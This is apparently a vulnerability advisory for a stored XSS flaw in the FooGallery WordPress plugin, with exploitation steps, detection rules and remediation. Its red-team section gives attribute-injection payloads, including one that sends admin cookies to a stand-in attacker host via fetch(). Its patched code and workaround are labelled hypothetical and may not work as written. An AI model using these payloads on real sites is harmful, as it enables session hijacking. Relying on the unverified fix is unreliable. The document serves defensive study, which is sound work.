CVE-2023-6747

Executive Summary

CVE-2023-6747 is a Stored Cross-Site Scripting (XSS) vulnerability in the FooGallery WordPress plugin, affecting all versions up to and including 2.3.3. The flaw resides in the plugin’s handling of custom attributes for gallery items. Insufficient input sanitization and output escaping allow authenticated users with contributor-level access or higher to inject arbitrary web scripts. When an administrator or other user views the compromised gallery page, the injected script executes in their browser, potentially leading to session hijacking, defacement, or further privilege escalation within the WordPress admin context.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score of 6.4 (Medium) reflects the need for authenticated access and user interaction, but the impact is amplified in multi-tenant or shared WordPress environments.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify they are not running a forked or modified version of FooGallery. No known supply chain compromise has been reported, but the lack of a patch increases risk for unmaintained installations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires contributor-level access or higher.
• User Interaction (UI): Required (R) – A user must view the injected page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS makes it persistent and dangerous in shared admin environments.

Deep Dive & Mechanics

The vulnerability exists in the foogallery plugin’s gallery shortcode rendering. When a user with contributor privileges or higher creates or edits a gallery, they can specify custom HTML attributes for gallery items (e.g., data-* attributes). The plugin fails to properly sanitize these attributes before storing them in the database and later rendering them in the page output.

Attack Flow:

1. An attacker with contributor-level access logs into WordPress.
2. The attacker creates a new gallery or edits an existing one.
3. In the gallery item settings, the attacker injects a malicious payload into a custom attribute field, such as:

   " onfocus="alert(1)" autofocus="true
   

4. The plugin stores this payload without proper sanitization.
5. When an administrator or other user views the gallery page, the injected attribute is rendered, causing the script to execute.

The root cause is insufficient input validation and output escaping in the plugin’s attribute handling code. The plugin likely uses esc_attr() incorrectly or not at all for custom attributes.

Vulnerable vs. Patched Code

Vulnerable Code (FooGallery <= 2.3.3):

// In a template file or shortcode handler
$custom_attr = get_post_meta($gallery_id, 'foogallery_custom_attr', true);
echo '<div ' . $custom_attr . '>'; // Direct output without escaping

Patched Code (Hypothetical Fix):

$custom_attr = get_post_meta($gallery_id, 'foogallery_custom_attr', true);
$safe_attr = esc_attr($custom_attr); // Escape the entire attribute string
echo '<div ' . $safe_attr . '>';

A more robust fix would validate allowed attributes and strip event handlers.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with FooGallery <= 2.3.3
• Contributor-level account or higher

Step-by-Step Exploitation:

1. Log in as a contributor.
2. Navigate to FooGallery > Add Gallery.
3. Add a new gallery item (image).
4. In the Custom Attributes field (or similar), inject the following payload:

   " onfocus="alert(document.cookie)" autofocus="true
   

5. Save the gallery.
6. Craft a link to the gallery page and send it to an administrator.
7. When the admin views the page, the script executes, exfiltrating cookies or performing other actions.

Advanced Payload (Session Hijacking):

" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="true

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual custom attribute values in gallery posts.
• Look for patterns like onfocus, onload, onerror, or autofocus in post meta.
• Use the Sigma rule below to detect payloads in HTTP requests.

Hardening:

• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in gallery attributes.
• Apply a virtual patch by filtering foogallery_custom_attr meta with a custom plugin.

Indicators of Compromise (IOCs)

• File Indicators:

  • Modified gallery post meta containing onfocus, onload, onerror, or autofocus attributes.
  • Suspicious JavaScript in wp_postmeta table for foogallery_custom_attr key.

• Network Indicators:

  • Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
  • Unusual Referer headers pointing to gallery pages with injected scripts.

• Log Indicators:

  • WordPress audit logs showing gallery edits by low-privilege users with unusual attribute values.
  • Web server logs containing onfocus or autofocus in request URIs.

Detection Engineering

YARA Rule

rule CVE_2023_6747_FooGallery_XSS {
    meta:
        description = "Detects stored XSS payloads in FooGallery custom attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6747"
    strings:
        $xss1 = /on\w+\s*=\s*["']/ nocase
        $xss2 = /autofocus\s*=\s*["']/ nocase
        $xss3 = /javascript\s*:/ nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: FooGallery Stored XSS via Custom Attributes
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing XSS payloads in FooGallery custom attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'onfocus='
            - 'onload='
            - 'onerror='
            - 'autofocus='
    condition: selection
falsepositives:
    - Legitimate use of autofocus in other contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6747 FooGallery Stored XSS Attempt"; flow:to_server,established; content:"onfocus"; http_uri; nocase; content:"autofocus"; http_uri; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the FooGallery plugin until a patch is available.
2. Restrict contributor-level access to only trusted users.
3. Apply a virtual patch using a WAF or custom code to sanitize foogallery_custom_attr meta.

Long-Term Fix:

• The vendor must release a patched version that properly escapes custom attributes using esc_attr() and validates allowed HTML attributes.
• Users should monitor the FooGallery plugin page for updates.

Workaround (Code Snippet): Add the following to your theme's functions.php to sanitize custom attributes:

add_filter('foogallery_gallery_custom_attributes', function($attr) {
    return esc_attr($attr);
});

Valters IT
Securing Digital Frontiers